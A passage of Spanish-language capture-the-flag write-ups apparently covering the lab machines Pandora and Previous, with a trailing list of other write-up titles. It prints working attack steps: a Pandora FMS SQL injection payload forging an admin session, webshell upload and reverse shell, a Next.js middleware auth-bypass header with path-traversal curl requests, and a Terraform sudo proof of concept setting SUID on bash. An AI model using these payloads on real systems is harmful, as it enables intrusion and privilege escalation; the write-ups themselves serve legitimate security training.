22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.

Enumeración UDP

Siguiendo la pista, enumeramos UDP y encontramos SNMP:

PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)

Notas rápidas:

SNMP suele usarse para monitorización y gestión remota.
public es una community string típica y, si está expuesta, suele filtrar información sensible.

Enumeración SNMP y acceso inicial

Usamos snmpbulkwalk para volcar información:

snmpbulkwalk -c public -v2c 10.10.11.136

En la salida aparecen credenciales:

daniel:HotelBabylon23

Con estas credenciales entramos por SSH.

Post-explotación (usuario) y pivote a servicio interno

Dentro, al revisar directorios, vemos que user.txt pertenece a matt:

daniel@pandora:/home/matt$ ls
user.txt

daniel@pandora:/home/matt$ cat user.txt
cat: user.txt: Permission denied

Necesitamos escalar o conseguir acceso como matt.

Durante la enumeración detectamos otra web interna. Hacemos port forwarding del puerto 80 remoto para acceder desde nuestra máquina.

Intentamos autenticarnos con las credenciales de daniel y no funciona.

En el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.

SQLi en Pandora FMS (chart_generator.php)

Pandora FMS 742: Critical Code Vulnerabilities Explained

Probamos el endpoint vulnerable para confirmar la inyección:

curl -sG
localhost:80/pandora_console/include/chart_generator.php
 --data-urlencode "session_id='" | head -1

Identificamos que es una SQLi error-based en una consulta del estilo:

SELECT * FROM tsessions_php WHERE `id_session` = '$session_id' LIMIT 1

Determinar número de columnas

Probando UNION SELECT:

Con 1 y 2 columnas falla.
Con 3 columnas devuelve HTML correctamente.

Conclusión: la tabla devuelve 3 columnas.

Dumpeo con sqlmap

Usamos sqlmap para extraer contenido de tsessions_php y encontramos una sesión de matt:

| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349 |

Con esa sesión obtenemos acceso al panel como matt.

Escalada a admin (secuestro de sesión)

Como matt no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo data.

session_id=' union select 1,2,'id_usuario|s:5:"admin";'-- -

Esto nos devuelve un id_session válido para admin.

RCE: subida de webshell

Con sesión de admin subimos una shell.php. En el sistema aparece en:

/var/www/pandora/pandora_console/images/shell.php

Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).

Escalada a root (PATH hijacking en binario SUID)

Enumeramos binarios SUID:

find / -perm -4000 2>/dev/null

Destaca /usr/bin/pandora_backup.

Al inspeccionar el binario se aprecia que invoca tar sin ruta absoluta. Esto permite PATH hijacking: si controlamos PATH y colocamos un ejecutable llamado tar antes que el real, el binario SUID ejecutará nuestro payload como root.

Ejecución

Desde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).

Una vez ajustado el PATH y ejecutado pandora_backup, obtenemos ejecución como root.

Previous (Medium)

admin@synacklabs.github.io (SynAckLabs) — Wed, 14 Jan 2026 00:00:00 +0000

Resumen

Write-up de la máquina Previous (Medium). Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.

Enumeración

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to
http://previous.htb/

|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (Puerto 80)

Durante la navegación inicial aparece:

Contacto: jeremy@previous.htb
Rutas visibles: GET STARTED y DOCS: /api/auth/signin?callbackUrl=%2Fdocs

Descubrimiento de rutas

Se enumeraron endpoints con dirsearch y la mayoría redirigían a /api/auth/signin?callbackUrl=....

dirsearch -u previous.htb

[12:58:32] 307 - 35B - /api -> /api/auth/signin?callbackUrl=%2Fapi
[12:58:32] 307 - 39B - /api.log -> /api/auth/signin?callbackUrl=%2Fapi.log
[12:58:32] 307 - 39B - /api-doc -> /api/auth/signin?callbackUrl=%2Fapi-doc
[12:58:32] 307 - 38B - /
api.py
 -> /api/auth/signin?callbackUrl=%
2Fapi.py

[12:58:32] 307 - 39B - /api.php -> /api/auth/signin?callbackUrl=%2Fapi.php
[12:58:32] 307 - 40B - /api-docs -> /api/auth/signin?callbackUrl=%2Fapi-docs
[12:58:32] 307 - 44B - /api/config -> /api/auth/signin?callbackUrl=%2Fapi%2Fconfig
[12:58:32] 307 - 60B - /api/apidocs/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs%2Fswagger.json
[12:58:32] 307 - 60B - /api/2/issue/createmeta -> /api/auth/signin?callbackUrl=%2Fapi%2F2%2Fissue%2Fcreatemeta
[12:58:32] 307 - 41B - /api/api -> /api/auth/signin?callbackUrl=%2Fapi%2Fapi
[12:58:32] 307 - 48B - /api/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Findex.html
[12:58:32] 307 - 52B - /api/cask/graphql -> /api/auth/signin?callbackUrl=%2Fapi%2Fcask%2Fgraphql
[12:58:32] 307 - 46B - /api/api-docs -> /api/auth/signin?callbackUrl=%2Fapi%2Fapi-docs
[12:58:32] 307 - 42B - /api/docs -> /api/auth/signin?callbackUrl=%2Fapi%2Fdocs
[12:58:32] 307 - 45B - /api/profile -> /api/auth/signin?callbackUrl=%2Fapi%2Fprofile
[12:58:32] 307 - 43B - /api/batch -> /api/auth/signin?callbackUrl=%2Fapi%2Fbatch
[12:58:32] 307 - 50B - /api/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.json
[12:58:32] 307 - 54B - /api/application.wadl -> /api/auth/signin?callbackUrl=%2Fapi%2Fapplication.wadl
[12:58:32] 307 - 44B - /api/jsonws -> /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws
[12:58:32] 307 - 48B - /api/login.json -> /api/auth/signin?callbackUrl=%2Fapi%2Flogin.json
[12:58:32] 307 - 57B - /api/spec/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fspec%2Fswagger.json
[12:58:32] 307 - 47B - /api/snapshots -> /api/auth/signin?callbackUrl=%2Fapi%2Fsnapshots
[12:58:32] 307 - 47B - /api/error_log -> /api/auth/signin?callbackUrl=%2Fapi%2Ferror_log
[12:58:32] 307 - 43B - /api/proxy -> /api/auth/signin?callbackUrl=%2Fapi%2Fproxy
[12:58:32] 307 - 45B - /api/swagger -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger
[12:58:32] 307 - 53B - /api/swagger-ui.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger-ui.html
[12:58:32] 307 - 50B - /api/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yaml
[12:58:32] 307 - 53B - /api/jsonws/invoke -> /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws%2Finvoke
[12:58:32] 307 - 45B - /api/apidocs -> /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs
[12:58:32] 307 - 73B - /api/package_search/v4/documentation -> /api/auth/signin?callbackUrl=%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation
[12:58:32] 307 - 58B - /api/swagger/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Findex.html
[12:58:32] 307 - 55B - /api/swagger/swagger -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fswagger
[12:58:32] 307 - 49B - /api/swagger.yml -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yml
[12:58:32] 307 - 67B - /api/swagger/static/index.html -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fstatic%2Findex.html
[12:58:32] 307 - 58B - /api/swagger/ui/index -> /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fui%2Findex
[12:58:32] 307 - 52B - /api/timelion/run -> /api/auth/signin?callbackUrl=%2Fapi%2Ftimelion%2Frun
[12:58:32] 307 - 40B - /api/v1 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1
[12:58:32] 307 - 55B - /api/v1/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.yaml
[12:58:32] 307 - 40B - /api/v3 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv3
[12:58:32] 307 - 55B - /api/v1/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.json
[12:58:32] 307 - 40B - /api/v4 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv4
[12:58:32] 307 - 74B - /api/vendor/phpunit/phpunit/phpunit -> /api/auth/signin?callbackUrl=%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit
[12:58:32] 307 - 45B - /api/version -> /api/auth/signin?callbackUrl=%2Fapi%2Fversion
[12:58:32] 307 - 40B - /api/v2 -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2
[12:58:32] 307 - 62B - /api/v2/helpdesk/discover -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover
[12:58:32] 307 - 55B - /api/v2/swagger.yaml -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.yaml
[12:58:32] 307 - 55B - /api/v2/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.json
[12:58:32] 307 - 39B - /apidocs -> /api/auth/signin?callbackUrl=%2Fapidocs
[12:58:32] 307 - 57B - /apiserver-aggregator.cert -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.cert
[12:58:32] 307 - 49B - /apiserver-key.pem -> /api/auth/signin?callbackUrl=%2Fapiserver-key.pem
[12:58:32] 307 - 52B - /apiserver-client.crt -> /api/auth/signin?callbackUrl=%2Fapiserver-client.crt
[12:58:32] 307 - 44B - /apibuild.pyc -> /api/auth/signin?callbackUrl=%2Fapibuild.pyc
[12:58:32] 307 - 56B - /apiserver-aggregator.key -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.key
[12:58:32] 307 - 44B - /api/whoami -> /api/auth/signin?callbackUrl=%2Fapi%2Fwhoami
[12:58:32] 307 - 60B - /apiserver-aggregator-ca.cert -> /api/auth/signin?callbackUrl=%2Fapiserver-aggregator-ca.cert
[12:58:32] 307 - 38B - /apidoc -> /api/auth/signin?callbackUrl=%2Fapidoc
[12:58:32] 307 - 36B - /apis -> /api/auth/signin?callbackUrl=%2Fapis
[12:58:33] 308 - 19B - /axis//happyaxis.jsp -> /axis/happyaxis.jsp
[12:58:33] 308 - 30B - /axis2//axis2-web/HappyAxis.jsp -> /axis2/axis2-web/HappyAxis.jsp
[12:58:33] 308 - 24B - /axis2-web//HappyAxis.jsp -> /axis2-web/HappyAxis.jsp
[12:58:36] 308 - 52B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[12:58:40] 307 - 53B - /docs/CHANGELOG.html -> /api/auth/signin?callbackUrl=%2Fdocs%2FCHANGELOG.html
[12:58:40] 307 - 41B - /docs.json -> /api/auth/signin?callbackUrl=%2Fdocs.json
[12:58:40] 307 - 36B - /docs -> /api/auth/signin?callbackUrl=%2Fdocs
[12:58:40] 307 - 52B - /docs/changelog.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fchangelog.txt
[12:58:40] 307 - 54B - /docs/export-demo.xml -> /api/auth/signin?callbackUrl=%2Fdocs%2Fexport-demo.xml
[12:58:40] 307 - 66B - /docs/html/admin/ch03s07.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
[12:58:40] 307 - 38B - /docs51 -> /api/auth/signin?callbackUrl=%2Fdocs51
[12:58:40] 307 - 51B - /docs/swagger.json -> /api/auth/signin?callbackUrl=%2Fdocs%2Fswagger.json
[12:58:40] 307 - 67B - /docs/html/developer/ch02.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
[12:58:40] 307 - 54B - /docs/maintenance.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fmaintenance.txt
[12:58:40] 307 - 70B - /docs/html/developer/ch03s15.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
[12:58:40] 307 - 56B - /docs/html/index.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Findex.html
[12:58:40] 307 - 63B - /docs/html/admin/ch01.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01.html
[12:58:40] 307 - 66B - /docs/html/admin/ch01s04.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
[12:58:40] 307 - 64B - /docs/html/admin/index.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Findex.html
[12:58:40] 307 - 51B - /docs/updating.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fupdating.txt
[12:58:41] 308 - 39B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf
[12:58:41] 308 - 42B - /engine/classes/swfupload//swfupload_f9.swf -> /engine/classes/swfupload/swfupload_f9.swf
[12:58:43] 308 - 27B - /extjs/resources//charts.swf -> /extjs/resources/charts.swf
[12:58:47] 308 - 37B - /html/js/misc/swfupload//swfupload.swf -> /html/js/misc/swfupload/swfupload.swf
[12:59:03] 200 - 3KB - /signin

Auth Bypass (Next.js / middleware)

A partir de Wappalyzer se identificó una versión vulnerable a Auth Bypass.

La técnica consistía en añadir un encabezado específico a la request.

Con el bypass, se siguieron enumerando rutas.

Aparece un endpoint interesante: /api/download.

/api/download → LFI

Se hizo fuzzing del parámetro y aparece el nombre example.

Probando el endpoint con curl se observa un comportamiento de descarga.

A partir de ahí se prueba un LFI sobre el parámetro.

┌──(kali㉿kali)-[~]
└─$ curl
http://previous.htb/api/download?example=../../../etc/passwd
 -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" -v
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.83
* Trying 10.10.11.83:80...
* Connected to previous.htb (10.10.11.83) port 80
* using HTTP/1.x
> GET /api/download?example=../../../etc/passwd HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.13.0
> Accept: */*
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 30 Sep 2025 11:33:47 GMT
< Content-Type: application/zip
< Content-Length: 787
< Connection: keep-alive
< Content-Disposition: attachment; filename="passwd"
< ETag: "41amqg1v4m26j"
<
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
* Connection #0 to host previous.htb left intact

Variables de entorno

Se revisó /proc/self/environ.

┌──(kali㉿kali)-[~]
└─$ curl
http://previous.htb/api/download?example=../../../../proc/self/environ
 -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" -v --output env
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.83
* Trying 10.10.11.83:80...
* Connected to previous.htb (10.10.11.83) port 80
* using HTTP/1.x
> GET /api/download?example=../../../../proc/self/environ HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.13.0
> Accept: */*
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 30 Sep 2025 11:37:25 GMT
< Content-Type: application/zip
< Content-Length: 216
< Connection: keep-alive
< Content-Disposition: attachment; filename="environ"
< ETag: "151dqoq1n56jy"
<
{ [216 bytes data]
100 216 100 216 0 0 517 0 --:--:-- --:--:-- --:--:-- 519
* Connection #0 to host previous.htb left intact



NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production

Búsqueda en /app (Next.js)

Con el LFI se fue explorando el directorio de la aplicación.

Se localizó:

NEXTAUTH_SECRET:82a464f1c3509a81d5c973c31a23c61a

Además, se obtuvo un fichero app con configuración/rutas de Next.js:

──(kali㉿kali)-[~]
└─$ cat app
{
 "version": 3,
 "pages404": true,
 "caseSensitive": false,
 "basePath": "",
 "redirects": [
 {
 "source": "/:path+/",
 "destination": "/:path+",
 "internal": true,
 "statusCode": 308,
 "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
 }
 ],
 "headers": [],
 "dynamicRoutes": [
 {
 "page": "/api/auth/[...nextauth]",
 "regex": "^/api/auth/(.+?)(?:/)?$",
 "routeKeys": {
 "nxtPnextauth": "nxtPnextauth"
 },
 "namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
 },
 {
 "page": "/docs/[section]",
 "regex": "^/docs/([^/]+?)(?:/)?$",
 "routeKeys": {
 "nxtPsection": "nxtPsection"
 },
 "namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
 }
 ],
 "staticRoutes": [
 {
 "page": "/",
 "regex": "^/(?:/)?$",
 "routeKeys": {},
 "namedRegex": "^/(?:/)?$"
 },
 {
 "page": "/docs",
 "regex": "^/docs(?:/)?$",
 "routeKeys": {},
 "namedRegex": "^/docs(?:/)?$"
 },
 {
 "page": "/docs/components/layout",
 "regex": "^/docs/components/layout(?:/)?$",
 "routeKeys": {},
 "namedRegex": "^/docs/components/layout(?:/)?$"
 },
 {
 "page": "/docs/components/sidebar",
 "regex": "^/docs/components/sidebar(?:/)?$",
 "routeKeys": {},
 "namedRegex": "^/docs/components/sidebar(?:/)?$"
 },
 {
 "page": "/docs/content/examples",
 "regex": "^/docs/content/examples(?:/)?$",
 "routeKeys": {},
 "namedRegex": "^/docs/content/examples(?:/)?$"
 },
 {
 "page": "/docs/content/getting-started",
 "regex": "^/docs/content/getting\-started(?:/)?$",
 "routeKeys": {},
 "namedRegex": "^/docs/content/getting\-started(?:/)?$"
 },
 {
 "page": "/signin",
 "regex": "^/signin(?:/)?$",
 "routeKeys": {},
 "namedRegex": "^/signin(?:/)?$"
 }
 ],
 "dataRoutes": [],
 "rsc": {
 "header": "RSC",
 "varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
 "prefetchHeader": "Next-Router-Prefetch",
 "didPostponeHeader": "x-nextjs-postponed",
 "contentTypeHeader": "text/x-component",
 "suffix": ".rsc",
 "prefetchSuffix": ".prefetch.rsc",
 "prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
 "prefetchSegmentSuffix": ".segment.rsc",
 "prefetchSegmentDirSuffix": ".segments"
 },
 "rewriteHeaders": {
 "pathHeader": "x-nextjs-rewritten-path",
 "queryHeader": "x-nextjs-rewritten-query"
 },
 "rewrites": []
}

Credenciales → SSH

Se consultó /app/.next/server/pages/api/auth/[...nextauth].

De ahí salieron credenciales:

jeremy:MyNameIsJeremyAndILovePancakes

Con esas credenciales se obtuvo acceso por SSH.

Escalada de privilegios (Terraform con sudo)

Privilege Escalation PoC: Terraform sudo Exploit

Restricción parcial de sudo
- El usuario jeremy no tiene acceso total a sudo. Sólo puede ejecutar terraform con super privilegios.
Comportamiento de Terraform
- Terraform puede cargar proveedores/plugins.
- Con TF_CLI_CONFIG_FILE se puede apuntar a una configuración de CLI que defina dev_overrides.
Idea del abuso
- Si Terraform, ejecutándose como root vía sudo, carga un proveedor desde una ruta controlada por el usuario, ese binario se ejecuta con privilegios elevados.

PoC

jeremy@previous:/opt/examples$ # 1) Crea el "proveedor" con el nombre que Terraform está buscando
cat > /tmp/terraform-provider-examples <<'EOF'
#!/bin/bash
chmod u+s /bin/bash >/tmp/pwn-log 2>&1
EOF

chmod +x /tmp/terraform-provider-examples

# 2) Asegúrate del TF_CLI_CONFIG_FILE correcto 
cat > /tmp/dev.tfrc <<'EOF'
provider_installation {
 dev_overrides {
 "previous.htb/terraform/examples" = "/tmp"
 }
 direct {}
}
EOF
export TF_CLI_CONFIG_FILE=/tmp/dev.tfrc

sudo /usr/bin/terraform -chdir=/opt/examples apply

ls -la /bin/bash

Linux on

Nocturnal (Easy)

Resumen

Escaneo y Reconocimiento

Enumeración Web (Puerto 80)

Acceso Inicial

Panel de Administración y RCE

Exfiltración de Base de Datos

Movimiento Lateral (SSH)

Escalada de Privilegios

Tunneling y Enumeración Interna

Explotación de CVE-2023-46818

Postman (Easy)

Resumen

Enumeración

Enumeración Web (Puertos 80 y 10000)

Acceso Inicial: Redis

Enumeración de Redis (Puerto 6379)

Explotación: Escritura de Clave SSH

Movimiento Lateral: Usuario Matt

Cracking de Clave SSH

Elevación de privilegios

Trick (Easy)

Resumen

Escaneo y Reconocimiento

Enumeración Web (Puerto 80)

Enumeración DNS (Puerto 53)

Acceso Inicial

SQL Injection en Preprod-Payroll

LFI en Preprod-Marketing

Escalada de Privilegios

Enumeración de Sudoers

Abuso de configuración de Fail2Ban

Ejecución

Retired (Medium)

Resumen

Enumeración inicial

Fuzzing y descubrimiento de beta.html

LFI en page= con php://filter

Intento de Log Poisoning (no viable)

Bypass del filtro (por str_replace no recursivo)

Archivos interesantes vía LFI

RFI (no viable)

Fuzzing de archivos sensibles

Activación de licencia y servicio interno

Protecciones del binario

Análisis en Ghidra: el bug

Encontrar el offset con patrón

Ret2Libc

Offset de system() en libc

pop rdi; ret y zona escribible

Exploit

Escalada a dev vía servicio de backups

Escalada a root: binfmt_misc + capabilities

Soulmate (Easy)

Resumen

Puerto 80: primera observación

Enumeración: subdominios y vhosts

¿Cómo funciona técnicamente? (CVE-2025-31161)

Acceso al panel

Web shell a través de la foto de perfil

Shell y credenciales encontradas

Vía alternativa: acceso como otro usuario

Escalada: servicio interno SSH (Erlang 5.2.9)

Pandora (Easy)

Resumen

Enumeración

Enumeración SNMP y acceso inicial

Post-explotación (usuario) y pivote a servicio interno

SQLi en Pandora FMS (chart_generator.php)

Escalada a admin (secuestro de sesión)

RCE: subida de webshell

Escalada a root (PATH hijacking en binario SUID)

Previous (Medium)

Resumen

Enumeración

HTTP (Puerto 80)

Auth Bypass (Next.js / middleware)

/api/download → LFI

Búsqueda en /app (Next.js)

Fuzzing y descubrimiento de `beta.html`

LFI en `page=` con `php://filter`

Bypass del filtro (por `str_replace` no recursivo)

Offset de `system()` en libc

`pop rdi; ret` y zona escribible

Escalada a `dev` vía servicio de backups